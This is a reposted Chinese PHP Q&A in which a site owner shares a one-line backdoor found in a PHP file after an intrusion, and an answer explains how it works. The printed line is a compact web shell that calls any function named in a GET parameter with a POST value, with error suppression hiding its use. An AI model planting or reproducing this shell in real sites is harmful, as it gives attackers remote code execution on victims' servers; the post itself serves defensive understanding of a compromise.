加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php – 找到黑客留下的代码,但不明白它的作用

发布时间:2020-12-13 16:34:57 所属栏目:PHP教程 来源:网络整理
导读:我在一个 PHP文件中找到了黑客留下的一行脚本.它看起来像这样: ?php($_=@$_GET[2]).@$_($_POST[1]);? 任何人都可以提供一些关于这行代码的提示?谢谢 正如Reeno在评论中已经说过的,就像一个PHP shell. 说明 将具有键“2”的GET变量存储在名为$_的变量中.由
我在一个 PHP文件中找到了黑客留下的一行脚本.它看起来像这样:
<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>

任何人都可以提供一些关于这行代码的提示?谢谢

正如Reeno在评论中已经说过的,就像一个PHP shell.

说明

>将具有键“2”的GET变量存储在名为$_的变量中.由于PHP的打字类型很差,我们不需要在数字上引用引号.

$_=@$_GET[2]

>将$_作为可调用函数名称,并以$_POST [1]作为第一个参数执行.

@$_($_POST[1])

@运算符应该禁止错误日志记录,请参见PHP.net: Error Control Operators.

两个语句之间的并置运算符实际上并不重要.它可以这样重写:

$_=@$_GET[2];
@$_($_POST[1]);

用例

调用任意函数.我不会提到成功攻击的特定HTTP标头,但对于每个(web)程序员来说,这应该是相当容易的.

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读